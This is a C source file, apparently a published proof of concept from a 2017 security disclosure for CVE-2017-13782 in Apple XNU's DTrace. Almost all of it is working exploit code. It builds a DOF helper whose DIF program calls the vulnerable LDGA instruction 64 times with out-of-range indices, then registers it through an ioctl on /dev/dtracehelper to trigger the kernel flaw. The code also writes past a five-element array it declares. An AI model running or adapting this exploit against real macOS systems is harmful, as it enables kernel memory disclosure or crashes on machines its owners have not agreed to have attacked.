/**
 * Copyright Kevin Backhouse / Semmle Ltd (2017)
 * License: Apache License 2.0
 * 
 * For more information: https://lgtm.com/blog/apple_xnu_dtrace_cve-2017-13782
 */
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>

// Some definitions so that we can include dtrace.h and dtrace_impl.h
// without compile errors.
#define KERNEL

typedef u_int64_t user_addr_t;
typedef int boolean_t;
typedef unsigned int uint_t;
typedef unsigned long uintptr_t;
typedef struct ucred cred_t;
typedef uintptr_t cyclic_id_t;
typedef struct vmem vmem_t;
typedef struct kmem_cache kmem_cache_t;
typedef uint_t major_t;
typedef uint_t minor_t;
struct proc;
typedef struct proc *proc_t;
typedef struct _kthread kthread_t;
typedef unsigned int model_t;
typedef uintptr_t pc_t;
struct regs;

typedef void x86_saved_state_t; // real definition can be found in osfmk/mach/i386/thread_status.h

typedef struct kmod_info kmod_info_t; // real definition can be found in osfmk/mach/kmod.h

#define offsetof(type, field) __builtin_offsetof(type, field)

#include "dtrace.h" // From the XNU source code
#include "dtrace_impl.h" // From the XNU source code

typedef struct {
  char kev_woz_ere[13];
  char format[11];
  char dtrace[7];
  char helper[7];
  char ustack[7];
  char empty[1];
  char kev_name[9];
} program_strtab_t;

static const program_strtab_t program_strtab = {
  "kev woz ere",
  "kev_format",
  "dtrace",
  "helper",
  "ustack",
  "",
  "kev_name"
};

dof_hdr_t *pack_difo(dtrace_difo_t* difo) {
  dof_hdr_t *dof = 0;
  dof_sec_t *sec = 0;
  dof_ecbdesc_t ecb;
  dof_probedesc_t probe;
  dof_actdesc_t act;
  const size_t difohdr_sz = sizeof(dof_difohdr_t) + 3 * sizeof(dof_secidx_t);
  dof_difohdr_t *difohdr = 0;
  const uint32_t secnum = 8;
  uint64_t secoff = 0;
  uint64_t dofs_offset = 0;
  uint64_t len = 0;
  size_t i = 0;

  static struct {
    int section;
    char* buffer;
    uint_t bufsize;
    int entsize;
    int align;
    const char *msg;
  } info[5];

  memset(&ecb, 0, sizeof(ecb));
  memset(&probe, 0, sizeof(probe));
  memset(&act, 0, sizeof(act));

  difohdr = malloc(difohdr_sz);
  memset(difohdr, 0, difohdr_sz);

  info[0].section = DOF_SECT_STRTAB;
  info[0].buffer = (char*)&program_strtab;
  info[0].bufsize = sizeof(program_strtab);
  info[0].entsize = 0;
  info[0].align = sizeof(char);
  info[0].msg = "string table";

  info[1].section = DOF_SECT_ECBDESC;
  info[1].buffer = (char*)&ecb;
  info[1].bufsize = sizeof(ecb);
  info[1].entsize = 0;
  info[1].align = sizeof(uint64_t);
  info[1].msg = "ecbdesc";

  info[2].section = DOF_SECT_PROBEDESC;
  info[2].buffer = (char*)&probe;
  info[2].bufsize = sizeof(probe);
  info[2].entsize = 0;
  info[2].align = sizeof(dof_secidx_t);
  info[2].msg = "probedesc";

  info[3].section = DOF_SECT_ACTDESC;
  info[3].buffer = (char*)&act;
  info[3].bufsize = sizeof(act);
  info[3].entsize = sizeof(dof_actdesc_t);
  info[3].align = sizeof(uint64_t);
  info[3].msg = "actdesc";

  info[4].section = DOF_SECT_DIFOHDR;
  info[4].buffer = (char*)difohdr;
  info[4].bufsize = difohdr_sz;
  info[4].entsize = 0;
  info[4].align = sizeof (dof_secidx_t);
  info[4].msg = "difohdr";

  info[5].section = DOF_SECT_DIF;
  info[5].buffer = (char*)difo->dtdo_buf;
  info[5].bufsize = difo->dtdo_len * sizeof(dif_instr_t);
  info[5].entsize = sizeof(dif_instr_t);
  info[5].align = sizeof(dif_instr_t);
  info[5].msg = "DIF section";

  info[6].section = DOF_SECT_INTTAB;
  info[6].buffer = (char*)difo->dtdo_inttab;
  info[6].bufsize = difo->dtdo_intlen * sizeof (uint64_t);
  info[6].entsize = sizeof(uint64_t);
  info[6].align = sizeof(uint64_t);
  info[6].msg = "integer table";

  info[7].section = DOF_SECT_VARTAB;
  info[7].buffer = (char*)difo->dtdo_vartab;
  info[7].bufsize = difo->dtdo_varlen * sizeof (dtrace_difv_t);
  info[7].entsize = sizeof(dtrace_difv_t);
  info[7].align = sizeof(uint_t);
  info[7].msg = "variable table";

  ecb.dofe_probes = 2; // info[2]
  ecb.dofe_pred = DOF_SECIDX_NONE; // no predicate
  ecb.dofe_actions = 3; // info[3]
  ecb.dofe_uarg = 0xDEADBEEF; // optional argument

  probe.dofp_strtab = 0; // info[0]
  probe.dofp_provider = offsetof(program_strtab_t, dtrace);
  probe.dofp_mod = offsetof(program_strtab_t, helper);
  probe.dofp_func = offsetof(program_strtab_t, ustack);
  probe.dofp_name = offsetof(program_strtab_t, empty);
  probe.dofp_id = 0;

  act.dofa_difo = 4; // info[4]
  act.dofa_strtab = 0; // info[0]
  act.dofa_kind = DTRACEACT_DIFEXPR;
  act.dofa_ntuple = 0; // I think this is not used by ustack.
  act.dofa_arg = offsetof(program_strtab_t, format); // For some reason, this has to be a string, even though it is never used.
  act.dofa_uarg = 0xDEADBEEF; // unused

  difohdr->dofd_rtype = difo->dtdo_rtype;
  difohdr->dofd_links[0] = 0; // info[0]
  difohdr->dofd_links[1] = 5; // info[5]
  difohdr->dofd_links[2] = 6; // info[6]
  difohdr->dofd_links[3] = 7; // info[7]

  // Calculate the total size.
  secoff = sizeof(dof_hdr_t);
  dofs_offset = secoff;
  len = 0;
  for (i = 0; i < secnum; i++) {
    dofs_offset += roundup(sizeof(dof_sec_t), sizeof(uint64_t));
    len += roundup(info[i] .bufsize, sizeof(uint64_t));
  }
  len += dofs_offset;

  dof = malloc(len);
  memset(dof, 0, len);
  dof->dofh_ident[DOF_ID_MAG0] = DOF_MAG_MAG0;
  dof->dofh_ident[DOF_ID_MAG1] = DOF_MAG_MAG1;
  dof->dofh_ident[DOF_ID_MAG2] = DOF_MAG_MAG2;
  dof->dofh_ident[DOF_ID_MAG3] = DOF_MAG_MAG3;

  dof->dofh_ident[DOF_ID_MODEL] = DOF_MODEL_NATIVE;
  dof->dofh_ident[DOF_ID_ENCODING] = DOF_ENCODE_NATIVE;
  dof->dofh_ident[DOF_ID_VERSION] = DOF_VERSION;
  dof->dofh_ident[DOF_ID_DIFVERS] = DIF_VERSION;
  dof->dofh_ident[DOF_ID_DIFIREG] = DIF_DIR_NREGS;
  dof->dofh_ident[DOF_ID_DIFTREG] = DIF_DTR_NREGS;

  dof->dofh_flags = 0;
  dof->dofh_hdrsize = sizeof(dof_hdr_t);
  dof->dofh_secsize = sizeof(dof_sec_t);
  dof->dofh_secnum = secnum;
  dof->dofh_secoff = secoff;
  dof->dofh_loadsz = len;
  dof->dofh_filesz = len;
  dof->dofh_pad = 0;

  for (i = 0; i < secnum; i++) {
    sec = (dof_sec_t *)((uintptr_t)dof + secoff);
    sec->dofs_type = info[i].section;
    sec->dofs_align = info[i].align;
    sec->dofs_flags = DOF_SECF_LOAD;
    sec->dofs_entsize = info[i].entsize;
    sec->dofs_offset = dofs_offset;
    sec->dofs_size = info[i].bufsize;
    memcpy((void*)((uintptr_t)dof + dofs_offset), info[i].buffer, info[i].bufsize);
    secoff += roundup(sizeof(dof_sec_t), sizeof(uint64_t));
    dofs_offset += roundup(info[i].bufsize, sizeof(uint64_t));
  }

  return (dof);
}

dtrace_difo_t* mkprog() {
  int i;
  size_t pc = 0;
  size_t ninstrs = 133;
  dif_instr_t *instrs;
  dtrace_difo_t *difo = malloc(sizeof(dtrace_difo_t));
  memset(difo, 0, sizeof(dtrace_difo_t));
  instrs = malloc(ninstrs * sizeof(dif_instr_t));;
  difo->dtdo_buf = instrs;
  difo->dtdo_len = ninstrs;
  difo->dtdo_strtab = (char*)&program_strtab;
  difo->dtdo_strlen = sizeof(program_strtab);
  difo->dtdo_rtype.dtdt_kind = DIF_TYPE_STRING;

  // r1 = 0xFFFFFFFFFFFFFFFF
  instrs[pc++] = DIF_INSTR_FMT(DIF_OP_NOT,0,0,1);

  // r1 = 1
  instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SUB,0,1,1);

  // r2 = 2
  instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SLL,1,1,2);

  for (i = 0; i < 64; i++) {
    // r2 *= 2
    instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SLL,2,1,2);

    // Call vulnerable instruction DIF_OP_LDGA.
    // r3 = LDGA(0, r2)
    instrs[pc++] = DIF_INSTR_FMT(DIF_OP_LDGA,0,2,3);
  }

  // Attempt to write a string in the ustack output. Unfortunately,
  // ustack helpers are broken in macOS, so this does not work.
  // r4 = "kev woz ere"
  instrs[pc++] =
    DIF_INSTR_SETS(offsetof(program_strtab_t, kev_woz_ere), 4);

  // return r4
  instrs[pc++] = DIF_INSTR_FMT(DIF_OP_RET,0,0,4);

  // Check that we allocated the correct number of instructions.
  if (pc != ninstrs) {
    printf("wrong number of instructions: %lu != %lu\n", pc, ninstrs);
    exit(1);
  }

  return difo;
}

void register_helper() {
  int fd, err;
  dtrace_difo_t *difo;
  dof_hdr_t *dof;
  dof_ioctl_data_t* ioctl_data = 0;
  int rv = 1;
  int result;

  ioctl_data = malloc(sizeof(dof_ioctl_data_t));
  difo = mkprog();
  dof = pack_difo(difo);

  ioctl_data->dofiod_count = 1;
  strcpy(ioctl_data->dofiod_helpers[0].dofhp_mod, "helper");
  ioctl_data->dofiod_helpers[0].dofhp_addr = (uint64_t)dof;
  ioctl_data->dofiod_helpers[0].dofhp_dof = (uint64_t)dof;

  fd = open("/dev/dtracehelper", O_RDWR);
  err = errno;
  printf ("open /dev/dtracehelper %d %d\n\n", fd, err);
  fcntl(fd, F_SETFD, FD_CLOEXEC);

  rv = 1;
  result = ioctl(fd, DTRACEHIOC_ADDDOF, &ioctl_data, &rv);
  err = errno;

  printf("dofhp_dof = %llu\n", ioctl_data->dofiod_helpers[0].dofhp_dof);
  printf ("ioctl %d %d\n", result, err);
  printf("rv = %d\n\n", rv);
}

int main() {
  register_helper();

  // Infinite loop to keep the program running while we trigger the
  // bug from another terminal.
  while (1);

  return 0;
}
